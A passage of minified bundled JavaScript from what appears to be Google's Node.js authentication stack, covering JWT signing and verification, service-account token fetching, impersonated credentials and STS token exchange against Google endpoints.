q={hs:eo4,rs:Aa4,ps:jt9,es:Pt9,none:ft9},Y={hs:Dt9,rs:Ka4,ps:Mt9,es:Vt9,none:Nt9},z=K.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/);if(!z)throw ty($t9,K);var w=(z[1]||z[3]).toLowerCase(),H=z[2];return{sign:q[w](H),verify:Y[w](H)}}});var sH6=v((cTw,Ya4)=>{var Tt9=CA("buffer").Buffer;Ya4.exports=function(K){if(typeof K==="string")return K;if(typeof K==="number"||Tt9.isBuffer(K))return K.toString();return JSON.stringify(K)}});var Xa4=v((lTw,Oa4)=>{var vt9=Wu().Buffer,za4=cH6(),Et9=aH6(),kt9=CA("stream"),wa4=sH6(),tH6=CA("util");function Ha4(A,K){return vt9.from(A,K).toString("base64").replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}function Ct9(A,K,q){q=q||"utf8";var Y=Ha4(wa4(A),"binary"),z=Ha4(wa4(K),q);return tH6.format("%s.%s",Y,z)}function Ja4(A){var{header:K,payload:q}=A,Y=A.secret||A.privateKey,z=A.encoding,w=Et9(K.alg),H=Ct9(K,q,z),J=w.sign(H,Y);return tH6.format("%s.%s",H,J)}function ww1(A){var K=A.secret||A.privateKey||A.key,q=new za4(K);this.readable=!0,this.header=A.header,this.encoding=A.encoding,this.secret=this.privateKey=this.key=q,this.payload=new za4(A.payload),this.secret.once("close",function(){if(!this.payload.writable&&this.readable)this.sign()}.bind(this)),this.payload.once("close",function(){if(!this.secret.writable&&this.readable)this.sign()}.bind(this))}tH6.inherits(ww1,kt9);ww1.prototype.sign=function(){try{var K=Ja4({header:this.header,payload:this.payload.buffer,secret:this.secret.buffer,encoding:this.encoding});return this.emit("done",K),this.emit("data",K),this.emit("end"),this.readable=!1,K}catch(q){this.readable=!1,this.emit("error",q),this.emit("close")}};ww1.sign=Ja4;Oa4.exports=ww1});var Va4=v((iTw,Pa4)=>{var _a4=Wu().Buffer,$a4=cH6(),Lt9=aH6(),Rt9=CA("stream"),Ga4=sH6(),yt9=CA("util"),It9=/^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.([a-zA-Z0-9\-_]+)?$/;function St9(A){return Object.prototype.toString.call(A)==="[object Object]"}function ht9(A){if(St9(A))return A;try{return JSON.parse(A)}catch(K){return}}function Za4(A){var K=A.split(".",1)[0];return ht9(_a4.from(K,"base64").toString("binary"))}function bt9(A){return A.split(".",2).join(".")}function Wa4(A){return A.split(".")[2]}function xt9(A,K){K=K||"utf8";var q=A.split(".")[1];return _a4.from(q,"base64").toString(K)}function Da4(A){return It9.test(A)&&!!Za4(A)}function ja4(A,K,q){if(!K){var Y=Error("Missing algorithm parameter for jws.verify");throw Y.code="MISSING_ALGORITHM",Y}A=Ga4(A);var z=Wa4(A),w=bt9(A),H=Lt9(K);return H.verify(w,z,q)}function Ma4(A,K){if(K=K||{},A=Ga4(A),!Da4(A))return null;var q=Za4(A);if(!q)return null;var Y=xt9(A);if(q.typ==="JWT"||K.json)Y=JSON.parse(Y,K.encoding);return{header:q,payload:Y,signature:Wa4(A)}}function V_A(A){A=A||{};var K=A.secret||A.publicKey||A.key,q=new $a4(K);this.readable=!0,this.algorithm=A.algorithm,this.encoding=A.encoding,this.secret=this.publicKey=this.key=q,this.signature=new $a4(A.signature),this.secret.once("close",function(){if(!this.signature.writable&&this.readable)this.verify()}.bind(this)),this.signature.once("close",function(){if(!this.secret.writable&&this.readable)this.verify()}.bind(this))}yt9.inherits(V_A,Rt9);V_A.prototype.verify=function(){try{var K=ja4(this.signature.buffer,this.algorithm,this.key.buffer),q=Ma4(this.signature.buffer,this.encoding);return this.emit("done",K,q),this.emit("data",K),this.emit("end"),this.readable=!1,K}catch(Y){this.readable=!1,this.emit("error",Y),this.emit("close")}};V_A.decode=Ma4;V_A.isValid=Da4;V_A.verify=ja4;Pa4.exports=V_A});var eH6=v((Bt9)=>{var fa4=Xa4(),Hw1=Va4(),ut9=["HS256","HS384","HS512","RS256","RS384","RS512","PS256","PS384","PS512","ES256","ES384","ES512"];Bt9.ALGORITHMS=ut9;Bt9.sign=fa4.sign;Bt9.verify=Hw1.verify;Bt9.decode=Hw1.decode;Bt9.isValid=Hw1.isValid;Bt9.createSign=function(K){return new fa4(K)};Bt9.createVerify=function(K){return new Hw1(K)}});var ya4=v((Go)=>{var ey=Go&&Go.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},Na4=Go&&Go.__classPrivateFieldSet||function(A,K,q,Y,z){if(Y==="m")throw TypeError("Private method is not writable");if(Y==="a"&&!z)throw TypeError("Private accessor was defined without a setter");if(typeof K==="function"?A!==K||!z:!K.has(A))throw TypeError("Cannot write private member to an object whose class did not declare it");return Y==="a"?z.call(A,q):z?z.value=q:K.set(A,q),q},AI,f_A,AJ6,Ta4,va4,KJ6,qJ6,Ea4;Object.defineProperty(Go,"__esModule",{value:!0});Go.GoogleToken=void 0;var ka4=CA("fs"),ct9=oy(),lt9=eH6(),it9=CA("path"),nt9=CA("util"),Ca4=ka4.readFile?(0,nt9.promisify)(ka4.readFile):async()=>{throw new N_A("use key rather than keyFile.","MISSING_CREDENTIALS")},La4="https://www.googleapis.com/oauth2/v4/token",rt9="https://accounts.google.com/o/oauth2/revoke?token=";class N_A extends Error{constructor(A,K){super(A);this.code=K}}class Ra4{get accessToken(){return this.rawToken?this.rawToken.access_token:void 0}get idToken(){return this.rawToken?this.rawToken.id_token:void 0}get tokenType(){return this.rawToken?this.rawToken.token_type:void 0}get refreshToken(){return this.rawToken?this.rawToken.refresh_token:void 0}constructor(A){AI.add(this),this.transporter={request:(K)=>(0,ct9.request)(K)},f_A.set(this,void 0),ey(this,AI,"m",qJ6).call(this,A)}hasExpired(){let A=new Date().getTime();if(this.rawToken&&this.expiresAt)return A>=this.expiresAt;else return!0}isTokenExpiring(){var A;let K=new Date().getTime(),q=(A=this.eagerRefreshThresholdMillis)!==null&&A!==void 0?A:0;if(this.rawToken&&this.expiresAt)return this.expiresAt<=K+q;else return!0}getToken(A,K={}){if(typeof A==="object")K=A,A=void 0;if(K=Object.assign({forceRefresh:!1},K),A){let q=A;ey(this,AI,"m",AJ6).call(this,K).then((Y)=>q(null,Y),A);return}return ey(this,AI,"m",AJ6).call(this,K)}async getCredentials(A){switch(it9.extname(A)){case".json":{let q=await Ca4(A,"utf8"),Y=JSON.parse(q),z=Y.private_key,w=Y.client_email;if(!z||!w)throw new N_A("private_key and client_email are required.","MISSING_CREDENTIALS");return{privateKey:z,clientEmail:w}}case".der":case".crt":case".pem":return{privateKey:await Ca4(A,"utf8")};case".p12":case".pfx":throw new N_A("*.p12 certificates are not supported after v6.1.2. Consider utilizing *.json format or converting *.p12 to *.pem using the OpenSSL CLI.","UNKNOWN_CERTIFICATE_TYPE");default:throw new N_A("Unknown certificate type. Type is determined based on file extension. Current supported extensions are *.json, and *.pem.","UNKNOWN_CERTIFICATE_TYPE")}}revokeToken(A){if(A){ey(this,AI,"m",KJ6).call(this).then(()=>A(),A);return}return ey(this,AI,"m",KJ6).call(this)}}Go.GoogleToken=Ra4;f_A=new WeakMap,AI=new WeakSet,AJ6=async function(K){if(ey(this,f_A,"f")&&!K.forceRefresh)return ey(this,f_A,"f");try{return await Na4(this,f_A,ey(this,AI,"m",Ta4).call(this,K),"f")}finally{Na4(this,f_A,void 0,"f")}},Ta4=async function(K){if(this.isTokenExpiring()===!1&&K.forceRefresh===!1)return Promise.resolve(this.rawToken);if(!this.key&&!this.keyFile)throw Error("No key or keyFile set.");if(!this.key&&this.keyFile){let q=await this.getCredentials(this.keyFile);if(this.key=q.privateKey,this.iss=q.clientEmail||this.iss,!q.clientEmail)ey(this,AI,"m",va4).call(this)}return ey(this,AI,"m",Ea4).call(this)},va4=function(){if(!this.iss)throw new N_A("email is required.","MISSING_CREDENTIALS")},KJ6=async function(){if(!this.accessToken)throw Error("No token to revoke.");let K=rt9+this.accessToken;await this.transporter.request({url:K,retry:!0}),ey(this,AI,"m",qJ6).call(this,{email:this.iss,sub:this.sub,key:this.key,keyFile:this.keyFile,scope:this.scope,additionalClaims:this.additionalClaims})},qJ6=function(K={}){if(this.keyFile=K.keyFile,this.key=K.key,this.rawToken=void 0,this.iss=K.email||K.iss,this.sub=K.sub,this.additionalClaims=K.additionalClaims,typeof K.scope==="object")this.scope=K.scope.join(" ");else this.scope=K.scope;if(this.eagerRefreshThresholdMillis=K.eagerRefreshThresholdMillis,K.transporter)this.transporter=K.transporter},Ea4=async function(){var K,q;let Y=Math.floor(new Date().getTime()/1000),z=this.additionalClaims||{},w=Object.assign({iss:this.iss,scope:this.scope,aud:La4,exp:Y+3600,iat:Y,sub:this.sub},z),H=lt9.sign({header:{alg:"RS256"},payload:w,secret:this.key});try{let J=await this.transporter.request({method:"POST",url:La4,data:{grant_type:"urn:ietf:params:oauth:grant-type:jwt-bearer",assertion:H},headers:{"Content-Type":"application/x-www-form-urlencoded"},responseType:"json",retryConfig:{httpMethodsToRetry:["POST"]}});return this.rawToken=J.data,this.expiresAt=J.data.expires_in===null||J.data.expires_in===void 0?void 0:(Y+J.data.expires_in)*1000,this.rawToken}catch(J){this.rawToken=void 0,this.tokenExpires=void 0;let O=J.response&&((K=J.response)===null||K===void 0?void 0:K.data)?(q=J.response)===null||q===void 0?void 0:q.data:{};if(O.error){let X=O.error_description?`: ${O.error_description}`:"";J.message=`${O.error}${X}`}throw J}}});var zJ6=v((Sa4)=>{Object.defineProperty(Sa4,"__esModule",{value:!0});Sa4.JWTAccess=void 0;var ot9=eH6(),at9=_o(),Ia4={alg:"RS256",typ:"JWT"};class YJ6{constructor(A,K,q,Y){this.cache=new at9.LRUCache({capacity:500,maxAge:3600000}),this.email=A,this.key=K,this.keyId=q,this.eagerRefreshThresholdMillis=Y!==null&&Y!==void 0?Y:300000}getCachedKey(A,K){let q=A;if(K&&Array.isArray(K)&&K.length)q=A?`${A}_${K.join("_")}`:`${K.join("_")}`;else if(typeof K==="string")q=A?`${A}_${K}`:K;if(!q)throw Error("Scopes or url must be provided");return q}getRequestHeaders(A,K,q){let Y=this.getCachedKey(A,q),z=this.cache.get(Y),w=Date.now();if(z&&z.expiration-w>this.eagerRefreshThresholdMillis)return z.headers;let H=Math.floor(Date.now()/1000),J=YJ6.getExpirationTime(H),O;if(Array.isArray(q))q=q.join(" ");if(q)O={iss:this.email,sub:this.email,scope:q,exp:J,iat:H};else O={iss:this.email,sub:this.email,aud:A,exp:J,iat:H};if(K){for(let Z in O)if(K[Z])throw Error(`The '${Z}' property is not allowed when passing additionalClaims. This claim is included in the JWT by default.`)}let X=this.keyId?{...Ia4,kid:this.keyId}:Ia4,$=Object.assign(O,K),G={Authorization:`Bearer ${ot9.sign({header:X,payload:$,secret:this.key})}`};return this.cache.set(Y,{expiration:J*1000,headers:G}),G}static getExpirationTime(A){return A+3600}fromJSON(A){if(!A)throw Error("Must pass in a JSON object containing the service account auth settings.");if(!A.client_email)throw Error("The incoming JSON object does not contain a client_email field");if(!A.private_key)throw Error("The incoming JSON object does not contain a private_key field");this.email=A.client_email,this.key=A.private_key,this.keyId=A.private_key_id,this.projectId=A.project_id}fromStream(A,K){if(K)this.fromStreamAsync(A).then(()=>K(),K);else return this.fromStreamAsync(A)}fromStreamAsync(A){return new Promise((K,q)=>{if(!A)q(Error("Must pass in a stream containing the service account auth settings."));let Y="";A.setEncoding("utf8").on("data",(z)=>Y+=z).on("error",q).on("end",()=>{try{let z=JSON.parse(Y);this.fromJSON(z),K()}catch(z){q(z)}})})}}Sa4.JWTAccess=YJ6});var HJ6=v((xa4)=>{Object.defineProperty(xa4,"__esModule",{value:!0});xa4.JWT=void 0;var ba4=ya4(),st9=zJ6(),tt9=B7A(),Jw1=Du();class wJ6 extends tt9.OAuth2Client{constructor(A,K,q,Y,z,w){let H=A&&typeof A==="object"?A:{email:A,keyFile:K,key:q,keyId:w,scopes:Y,subject:z};super(H);this.email=H.email,this.keyFile=H.keyFile,this.key=H.key,this.keyId=H.keyId,this.scopes=H.scopes,this.subject=H.subject,this.additionalClaims=H.additionalClaims,this.credentials={refresh_token:"jwt-placeholder",expiry_date:1}}createScoped(A){let K=new wJ6(this);return K.scopes=A,K}async getRequestMetadataAsync(A){A=this.defaultServicePath?`https://${this.defaultServicePath}/`:A;let K=!this.hasUserScopes()&&A||this.useJWTAccessWithScope&&this.hasAnyScopes()||this.universeDomain!==Jw1.DEFAULT_UNIVERSE;if(this.subject&&this.universeDomain!==Jw1.DEFAULT_UNIVERSE)throw RangeError(`Service Account user is configured for the credential. Domain-wide delegation is not supported in universes other than ${Jw1.DEFAULT_UNIVERSE}`);if(!this.apiKey&&K)if(this.additionalClaims&&this.additionalClaims.target_audience){let{tokens:q}=await this.refreshToken();return{headers:this.addSharedMetadataHeaders({Authorization:`Bearer ${q.id_token}`})}}else{if(!this.access)this.access=new st9.JWTAccess(this.email,this.key,this.keyId,this.eagerRefreshThresholdMillis);let q;if(this.hasUserScopes())q=this.scopes;else if(!A)q=this.defaultScopes;let Y=this.useJWTAccessWithScope||this.universeDomain!==Jw1.DEFAULT_UNIVERSE,z=await this.access.getRequestHeaders(A!==null&&A!==void 0?A:void 0,this.additionalClaims,Y?q:void 0);return{headers:this.addSharedMetadataHeaders(z)}}else if(this.hasAnyScopes()||this.apiKey)return super.getRequestMetadataAsync(A);else return{headers:{}}}async fetchIdToken(A){let K=new ba4.GoogleToken({iss:this.email,sub:this.subject,scope:this.scopes||this.defaultScopes,keyFile:this.keyFile,key:this.key,additionalClaims:{target_audience:A},transporter:this.transporter});if(await K.getToken({forceRefresh:!0}),!K.idToken)throw Error("Unknown error: Failed to fetch ID token");return K.idToken}hasUserScopes(){if(!this.scopes)return!1;return this.scopes.length>0}hasAnyScopes(){if(this.scopes&&this.scopes.length>0)return!0;if(this.defaultScopes&&this.defaultScopes.length>0)return!0;return!1}authorize(A){if(A)this.authorizeAsync().then((K)=>A(null,K),A);else return this.authorizeAsync()}async authorizeAsync(){let A=await this.refreshToken();if(!A)throw Error("No result returned");return this.credentials=A.tokens,this.credentials.refresh_token="jwt-placeholder",this.key=this.gtoken.key,this.email=this.gtoken.iss,A.tokens}async refreshTokenNoCache(A){let K=this.createGToken(),Y={access_token:(await K.getToken({forceRefresh:this.isTokenExpiring()})).access_token,token_type:"Bearer",expiry_date:K.expiresAt,id_token:K.idToken};return this.emit("tokens",Y),{res:null,tokens:Y}}createGToken(){if(!this.gtoken)this.gtoken=new ba4.GoogleToken({iss:this.email,sub:this.subject,scope:this.scopes||this.defaultScopes,keyFile:this.keyFile,key:this.key,additionalClaims:this.additionalClaims,transporter:this.transporter});return this.gtoken}fromJSON(A){if(!A)throw Error("Must pass in a JSON object containing the service account auth settings.");if(!A.client_email)throw Error("The incoming JSON object does not contain a client_email field");if(!A.private_key)throw Error("The incoming JSON object does not contain a private_key field");this.email=A.client_email,this.key=A.private_key,this.keyId=A.private_key_id,this.projectId=A.project_id,this.quotaProjectId=A.quota_project_id,this.universeDomain=A.universe_domain||this.universeDomain}fromStream(A,K){if(K)this.fromStreamAsync(A).then(()=>K(),K);else return this.fromStreamAsync(A)}fromStreamAsync(A){return new Promise((K,q)=>{if(!A)throw Error("Must pass in a stream containing the service account auth settings.");let Y="";A.setEncoding("utf8").on("error",q).on("data",(z)=>Y+=z).on("end",()=>{try{let z=JSON.parse(Y);this.fromJSON(z),K()}catch(z){q(z)}})})}fromAPIKey(A){if(typeof A!=="string")throw Error("Must provide an API Key string.");this.apiKey=A}async getCredentials(){if(this.key)return{private_key:this.key,client_email:this.email};else if(this.keyFile){let K=await this.createGToken().getCredentials(this.keyFile);return{private_key:K.privateKey,client_email:K.clientEmail}}throw Error("A key or a keyFile must be provided to getCredentials.")}}xa4.JWT=wJ6});var JJ6=v((Ba4)=>{Object.defineProperty(Ba4,"__esModule",{value:!0});Ba4.UserRefreshClient=Ba4.USER_REFRESH_ACCOUNT_TYPE=void 0;var et9=B7A(),Ae9=CA("querystring");Ba4.USER_REFRESH_ACCOUNT_TYPE="authorized_user";class Ow1 extends et9.OAuth2Client{constructor(A,K,q,Y,z){let w=A&&typeof A==="object"?A:{clientId:A,clientSecret:K,refreshToken:q,eagerRefreshThresholdMillis:Y,forceRefreshOnFailure:z};super(w);this._refreshToken=w.refreshToken,this.credentials.refresh_token=w.refreshToken}async refreshTokenNoCache(A){return super.refreshTokenNoCache(this._refreshToken)}async fetchIdToken(A){return(await this.transporter.request({...Ow1.RETRY_CONFIG,url:this.endpoints.oauth2TokenUrl,headers:{"Content-Type":"application/x-www-form-urlencoded"},method:"POST",data:(0,Ae9.stringify)({client_id:this._clientId,client_secret:this._clientSecret,grant_type:"refresh_token",refresh_token:this._refreshToken,target_audience:A})})).data.id_token}fromJSON(A){if(!A)throw Error("Must pass in a JSON object containing the user refresh token");if(A.type!=="authorized_user")throw Error('The incoming JSON object does not have the "authorized_user" type');if(!A.client_id)throw Error("The incoming JSON object does not contain a client_id field");if(!A.client_secret)throw Error("The incoming JSON object does not contain a client_secret field");if(!A.refresh_token)throw Error("The incoming JSON object does not contain a refresh_token field");this._clientId=A.client_id,this._clientSecret=A.client_secret,this._refreshToken=A.refresh_token,this.credentials.refresh_token=A.refresh_token,this.quotaProjectId=A.quota_project_id,this.universeDomain=A.universe_domain||this.universeDomain}fromStream(A,K){if(K)this.fromStreamAsync(A).then(()=>K(),K);else return this.fromStreamAsync(A)}async fromStreamAsync(A){return new Promise((K,q)=>{if(!A)return q(Error("Must pass in a stream containing the user refresh token."));let Y="";A.setEncoding("utf8").on("error",q).on("data",(z)=>Y+=z).on("end",()=>{try{let z=JSON.parse(Y);return this.fromJSON(z),K()}catch(z){return q(z)}})})}static fromJSON(A){let K=new Ow1;return K.fromJSON(A),K}}Ba4.UserRefreshClient=Ow1});var OJ6=v((Fa4)=>{Object.defineProperty(Fa4,"__esModule",{value:!0});Fa4.Impersonated=Fa4.IMPERSONATED_ACCOUNT_TYPE=void 0;var ga4=B7A(),qe9=oy(),Ye9=_o();Fa4.IMPERSONATED_ACCOUNT_TYPE="impersonated_service_account";class PhA extends ga4.OAuth2Client{constructor(A={}){var K,q,Y,z,w,H;super(A);if(this.credentials={expiry_date:1,refresh_token:"impersonated-placeholder"},this.sourceClient=(K=A.sourceClient)!==null&&K!==void 0?K:new ga4.OAuth2Client,this.targetPrincipal=(q=A.targetPrincipal)!==null&&q!==void 0?q:"",this.delegates=(Y=A.delegates)!==null&&Y!==void 0?Y:[],this.targetScopes=(z=A.targetScopes)!==null&&z!==void 0?z:[],this.lifetime=(w=A.lifetime)!==null&&w!==void 0?w:3600,!(0,Ye9.originalOrCamelOptions)(A).get("universe_domain"))this.universeDomain=this.sourceClient.universeDomain;else if(this.sourceClient.universeDomain!==this.universeDomain)throw RangeError(`Universe domain ${this.sourceClient.universeDomain} in source credentials does not match ${this.universeDomain} universe domain set for impersonated credentials.`);this.endpoint=(H=A.endpoint)!==null&&H!==void 0?H:`https://iamcredentials.${this.universeDomain}`}async sign(A){await this.sourceClient.getAccessToken();let K=`projects/-/serviceAccounts/${this.targetPrincipal}`,q=`${this.endpoint}/v1/${K}:signBlob`,Y={delegates:this.delegates,payload:Buffer.from(A).toString("base64")};return(await this.sourceClient.request({...PhA.RETRY_CONFIG,url:q,data:Y,method:"POST"})).data}getTargetPrincipal(){return this.targetPrincipal}async refreshToken(){var A,K,q,Y,z,w;try{await this.sourceClient.getAccessToken();let H="projects/-/serviceAccounts/"+this.targetPrincipal,J=`${this.endpoint}/v1/${H}:generateAccessToken`,O={delegates:this.delegates,scope:this.targetScopes,lifetime:this.lifetime+"s"},X=await this.sourceClient.request({...PhA.RETRY_CONFIG,url:J,data:O,method:"POST"}),$=X.data;return this.credentials.access_token=$.accessToken,this.credentials.expiry_date=Date.parse($.expireTime),{tokens:this.credentials,res:X}}catch(H){if(!(H instanceof Error))throw H;let J=0,O="";if(H instanceof qe9.GaxiosError)J=(q=(K=(A=H===null||H===void 0?void 0:H.response)===null||A===void 0?void 0:A.data)===null||K===void 0?void 0:K.error)===null||q===void 0?void 0:q.status,O=(w=(z=(Y=H===null||H===void 0?void 0:H.response)===null||Y===void 0?void 0:Y.data)===null||z===void 0?void 0:z.error)===null||w===void 0?void 0:w.message;if(J&&O)throw H.message=`${J}: unable to impersonate: ${O}`,H;else throw H.message=`unable to impersonate: ${H}`,H}}async fetchIdToken(A,K){var q,Y;await this.sourceClient.getAccessToken();let z=`projects/-/serviceAccounts/${this.targetPrincipal}`,w=`${this.endpoint}/v1/${z}:generateIdToken`,H={delegates:this.delegates,audience:A,includeEmail:(q=K===null||K===void 0?void 0:K.includeEmail)!==null&&q!==void 0?q:!0,useEmailAzp:(Y=K===null||K===void 0?void 0:K.includeEmail)!==null&&Y!==void 0?Y:!0};return(await this.sourceClient.request({...PhA.RETRY_CONFIG,url:w,data:H,method:"POST"})).data.token}}Fa4.Impersonated=PhA});var XJ6=v((da4)=>{Object.defineProperty(da4,"__esModule",{value:!0});da4.OAuthClientAuthHandler=void 0;da4.getErrorFromOAuthErrorResponse=Je9;var Ua4=CA("querystring"),we9=W_A(),He9=["PUT","POST","PATCH"];class pa4{constructor(A){this.clientAuthentication=A,this.crypto=(0,we9.createCrypto)()}applyClientAuthenticationOptions(A,K){if(this.injectAuthenticatedHeaders(A,K),!K)this.injectAuthenticatedRequestBody(A)}injectAuthenticatedHeaders(A,K){var q;if(K)A.headers=A.headers||{},Object.assign(A.headers,{Authorization:`Bearer ${K}}`});else if(((q=this.clientAuthentication)===null||q===void 0?void 0:q.confidentialClientType)==="basic"){A.headers=A.headers||{};let Y=this.clientAuthentication.clientId,z=this.clientAuthentication.clientSecret||"",w=this.crypto.encodeBase64StringUtf8(`${Y}:${z}`);Object.assign(A.headers,{Authorization:`Basic ${w}`})}}injectAuthenticatedRequestBody(A){var K;if(((K=this.clientAuthentication)===null||K===void 0?void 0:K.confidentialClientType)==="request-body"){let q=(A.method||"GET").toUpperCase();if(He9.indexOf(q)!==-1){let Y,z=A.headers||{};for(let w in z)if(w.toLowerCase()==="content-type"&&z[w]){Y=z[w].toLowerCase();break}if(Y==="application/x-www-form-urlencoded"){A.data=A.data||"";let w=Ua4.parse(A.data);Object.assign(w,{client_id:this.clientAuthentication.clientId,client_secret:this.clientAuthentication.clientSecret||""}),A.data=Ua4.stringify(w)}else if(Y==="application/json")A.data=A.data||{},Object.assign(A.data,{client_id:this.clientAuthentication.clientId,client_secret:this.clientAuthentication.clientSecret||""});else throw Error(`${Y} content-types are not supported with ${this.clientAuthentication.confidentialClientType} client authentication`)}else throw Error(`${q} HTTP method does not support ${this.clientAuthentication.confidentialClientType} client authentication`)}}static get RETRY_CONFIG(){return{retry:!0,retryConfig:{httpMethodsToRetry:["GET","PUT","POST","HEAD","OPTIONS","DELETE"]}}}}da4.OAuthClientAuthHandler=pa4;function Je9(A,K){let{error:q,error_description:Y,error_uri:z}=A,w=`Error code ${q}`;if(typeof Y<"u")w+=`: ${Y}`;if(typeof z<"u")w+=` - ${z}`;let H=Error(w);if(K){let J=Object.keys(K);if(K.stack)J.push("stack");J.forEach((O)=>{if(O!=="message")Object.defineProperty(H,O,{value:K[O],writable:!1,enumerable:!0})})}return H}});var _J6=v((ia4)=>{Object.defineProperty(ia4,"__esModule",{value:!0});ia4.StsCredentials=void 0;var Xe9=oy(),$e9=CA("querystring"),_e9=GhA(),la4=XJ6();class $J6 extends la4.OAuthClientAuthHandler{constructor(A,K){super(K);this.tokenExchangeEndpoint=A,this.transporter=new _e9.DefaultTransporter}async exchangeToken(A,K,q){var Y,z,w;let H={grant_type:A.grantType,resource:A.resource,audience:A.audience,scope:(Y=A.scope)===null||Y===void 0?void 0:Y.join(" "),requested_token_type:A.requestedTokenType,subject_token:A.subjectToken,subject_token_type:A.subjectTokenType,actor_token:(z=A.actingParty)===null||z===void 0?void 0:z.actorToken,actor_token_type:(w=A.actingParty)===null||w===void 0?void 0:w.actorTokenType,options:q&&JSON.stringify(q)};Object.keys(H).forEach((X)=>{if(typeof H[X]>"u")delete H[X]});let J={"Content-Type":"application/x-www-form-urlencoded"};Object.assign(J,K||{});let O={...$J6.RETRY_CONFIG,url:this.tokenExchangeEndpoint.toString(),method:"POST",headers:J,data:$e9.stringify(H),responseType:"json"};this.applyClientAuthenticationOptions(O);try{let X=await this.transporter.request(O),$=X.data;return $.res=X,$}catch(X){if(X instanceof Xe9.GaxiosError&&X.response)throw(0,la4.getErrorFromOAuthErrorResponse)(X.response.data,X);throw X}}}ia4.StsCredentials=$J6});var Zo=v((PG)=>{var GJ6=PG&&PG.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},ra4=PG&&PG.__classPrivateFieldSet||function(A,K,q,Y,z){if(Y==="m")throw TypeError("Private method is not writable");if(Y==="a"&&!z)throw TypeError("Private accessor was defined without a setter");if(typeof K==="function"?A!==K||!z:!K.has(A))throw TypeError("Cannot write private member to an object whose class did not declare it");return Y==="a"?z.call(A,q):z?z.value=q:K.set(A,q),q},ZJ6,T_A,aa4;Object.defineProperty(PG,"__esModule",{value:!0});PG.BaseExternalAccountClient=PG.DEFAULT_UNIVERSE=PG.CLOUD_RESOURCE_MANAGER=PG.EXTERNAL_ACCOUNT_TYPE=PG.EXPIRATION_TIME_OFFSET=void 0;var Ge9=CA("stream"),Ze9=Du(),We9=_J6(),oa4=_o(),De9="urn:ietf:params:oauth:grant-type:token-exchange",je9="urn:ietf:params:oauth:token-type:access_token",WJ6="https://www.googleapis.com/auth/cloud-platform",Me9=3600;PG.EXPIRATION_TIME_OFFSET=300000;PG.EXTERNAL_ACCOUNT_TYPE="external_account";PG.CLOUD_RESOURCE_MANAGER="https://cloudresourcemanager.googleapis.com/v1/projects/";var Pe9="//iam\\.googleapis\\.com/locations/[^/]+/workforcePools/[^/]+/providers/.+",Ve9="https://sts.{universeDomain}/v1/token",fe9=hH6(),Ne9=Du();Object.defineProperty(PG,"DEFAULT_UNIVERSE",{enumerable:!0,get:function(){return Ne9.DEFAULT_UNIVERSE}});class Xw1 extends Ze9.AuthClient{constructor(A,K){var q;super({...A,...K});ZJ6.add(this),T_A.set(this,null);let Y=(0,oa4.originalOrCamelOptions)(A),z=Y.get("type");if(z&&z!==PG.EXTERNAL_ACCOUNT_TYPE)throw Error(`Expected "${PG.EXTERNAL_ACCOUNT_TYPE}" type but received "${A.type}"`);let w=Y.get("client_id"),H=Y.get("client_secret"),J=(q=Y.get("token_url"))!==null&&q!==void 0?q:Ve9.replace("{universeDomain}",this.universeDomain),O=Y.get("subject_token_type"),X=Y.get("workforce_pool_user_project"),$=Y.get("service_account_impersonation_url"),_=Y.get("service_account_impersonation"),G=(0,oa4.originalOrCamelOptions)(_).get("token_lifetime_seconds");if(this.cloudResourceManagerURL=new URL(Y.get("cloud_resource_manager_url")||`https://cloudresourcemanager.${this.universeDomain}/v1/projects/`),w)this.clientAuth={confidentialClientType:"basic",clientId:w,clientSecret:H};this.stsCredential=new We9.StsCredentials(J,this.clientAuth),this.scopes=Y.get("scopes")||[WJ6],this.cachedAccessToken=null,this.audience=Y.get("audience"),this.subjectTokenType=O,this.workforcePoolUserProject=X;let Z=new RegExp(Pe9);if(this.workforcePoolUserProject&&!this.audience.match(Z))throw Error("workforcePoolUserProject should not be set for non-workforce pool credentials.");if(this.serviceAccountImpersonationUrl=$,this.serviceAccountImpersonationLifetime=G,this.serviceAccountImpersonationLifetime)this.configLifetimeRequested=!0;else this.configLifetimeRequested=!1,this.serviceAccountImpersonationLifetime=Me9;this.projectNumber=this.getProjectNumber(this.audience),this.supplierContext={audience:this.audience,subjectTokenType:this.subjectTokenType,transporter:this.transporter}}getServiceAccountEmail(){var A;if(this.serviceAccountImpersonationUrl){if(this.serviceAccountImpersonationUrl.length>256)throw RangeError(`URL is too long: ${this.serviceAccountImpersonationUrl}`);let q=/serviceAccounts\/(?<email>[^:]+):generateAccessToken$/.exec(this.serviceAccountImpersonationUrl);return((A=q===null||q===void 0?void 0:q.groups)===null||A===void 0?void 0:A.email)||null}return null}setCredentials(A){super.setCredentials(A),this.cachedAccessToken=A}async getAccessToken(){if(!this.cachedAccessToken||this.isExpired(this.cachedAccessToken))await this.refreshAccessTokenAsync();return{token:this.cachedAccessToken.access_token,res:this.cachedAccessToken.res}}async getRequestHeaders(){let K={Authorization:`Bearer ${(await this.getAccessToken()).token}`};return this.addSharedMetadataHeaders(K)}request(A,K){if(K)this.requestAsync(A).then((q)=>K(null,q),(q)=>{return K(q,q.response)});else return this.requestAsync(A)}async getProjectId(){let A=this.projectNumber||this.workforcePoolUserProject;if(this.projectId)return this.projectId;else if(A){let K=await this.getRequestHeaders(),q=await this.transporter.request({...Xw1.RETRY_CONFIG,headers:K,url:`${this.cloudResourceManagerURL.toString()}${A}`,responseType:"json"});return this.projectId=q.data.projectId,this.projectId}return null}async requestAsync(A,K=!1){let q;try{let Y=await this.getRequestHeaders();if(A.headers=A.headers||{},Y&&Y["x-goog-user-project"])A.headers["x-goog-user-project"]=Y["x-goog-user-project"];if(Y&&Y.Authorization)A.headers.Authorization=Y.Authorization;q=await this.transporter.request(A)}catch(Y){let z=Y.response;if(z){let w=z.status,H=z.config.data instanceof 